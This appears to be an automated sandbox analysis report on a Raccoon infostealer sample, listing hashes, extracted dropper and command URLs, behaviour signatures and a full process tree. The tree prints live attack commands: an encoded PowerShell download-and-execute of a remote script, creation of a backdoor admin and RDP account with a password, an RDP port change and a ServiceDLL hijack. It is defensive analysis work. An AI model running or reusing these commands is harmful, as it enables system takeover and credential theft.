Analysis

  • max time kernel
    82s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 12:10

General

  • Target

    55ad53d9c2ac846647791d572f44ea5b.exe

  • Size

    567KB

  • MD5

    55ad53d9c2ac846647791d572f44ea5b

  • SHA1

    f23c59ff61ff9bbf7c64dd9edfb6a254509bf917

  • SHA256

    c5a3e3c23c820cc768a283e2a66515722048a51ece2387bcb8883a3b6a061b41

  • SHA512

    d81fd6457c8cd411fc4e44053085aa1285203138909117ab6dafb3c74518ff9a91388e1450fc8e303774fd4ff7c27ab6cae87505bb9b0ca153c7f8bca5e85cd9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe
    "C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Users\Admin\AppData\Local\Temp\t1aG6es3y5.exe
      "C:\Users\Admin\AppData\Local\Temp\t1aG6es3y5.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zgbuzu4g\zgbuzu4g.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A2E.tmp" "c:\Users\Admin\AppData\Local\Temp\zgbuzu4g\CSC88D4D0BBEB3C484C90CB099E4FC4AA0.TMP"
            5⤵
              PID:1112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3964
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3764
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3768
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:2080
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3424
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1604
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1844
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:1688
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3436
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3548
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:688
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2212
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3068
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3544
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2296
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3128
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3544
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3312
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3860
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1584
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2720
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1696
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2816
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc 8KpHFTB4 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2316
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc 8KpHFTB4 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1060
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc 8KpHFTB4 /add
                          3⤵
                            PID:3436
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1688
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2184
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1552
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3952
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3372
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:1112
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2132
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:3796
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:2276
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc 8KpHFTB4
                                1⤵
                                  PID:1844
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc 8KpHFTB4
                                    2⤵
                                      PID:688
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 8KpHFTB4
                                        3⤵
                                          PID:3972
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:1780
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:2276
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:1584
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              PID:3972
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:1696
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:2320
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2276

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • memory/2128-148-0x00000116A0110000-0x00000116A0112000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/2128-150-0x00000116A0116000-0x00000116A0118000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/2128-158-0x00000116A00F0000-0x00000116A00F1000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2128-149-0x00000116A0113000-0x00000116A0115000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/2128-164-0x00000116A07A0000-0x00000116A07A1000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2128-165-0x00000116A0B30000-0x00000116A0B31000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2128-138-0x00000116A00A0000-0x00000116A00A1000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2128-141-0x00000116A02A0000-0x00000116A02A1000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2128-222-0x00000116A0118000-0x00000116A0119000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2276-257-0x0000022F1C9B8000-0x0000022F1C9B9000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/2276-256-0x0000022F1C9B6000-0x0000022F1C9B8000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/2276-254-0x0000022F1C9B0000-0x0000022F1C9B2000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/2276-255-0x0000022F1C9B3000-0x0000022F1C9B5000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3256-114-0x0000000002150000-0x00000000021E1000-memory.dmp

                                                Filesize

                                                580KB

                                              • memory/3256-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                Filesize

                                                600KB

                                              • memory/3764-216-0x000001CD247C6000-0x000001CD247C8000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3764-215-0x000001CD247C3000-0x000001CD247C5000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3764-214-0x000001CD247C0000-0x000001CD247C2000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3768-221-0x0000011D57A68000-0x0000011D57A6A000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3768-218-0x0000011D57A60000-0x0000011D57A62000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3768-219-0x0000011D57A63000-0x0000011D57A65000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3768-220-0x0000011D57A66000-0x0000011D57A68000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3944-131-0x000001D1F96F5000-0x000001D1F96F6000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/3944-130-0x000001D1F96F3000-0x000001D1F96F5000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3944-127-0x000001D1F9B30000-0x000001D1F9F51000-memory.dmp

                                                Filesize

                                                4.1MB

                                              • memory/3944-132-0x000001D1F96F6000-0x000001D1F96F7000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/3944-129-0x000001D1F96F0000-0x000001D1F96F2000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3964-213-0x0000020035018000-0x000002003501A000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3964-206-0x0000020035016000-0x0000020035018000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3964-181-0x0000020035010000-0x0000020035012000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3964-182-0x0000020035013000-0x0000020035015000-memory.dmp

                                                Filesize

                                                8KB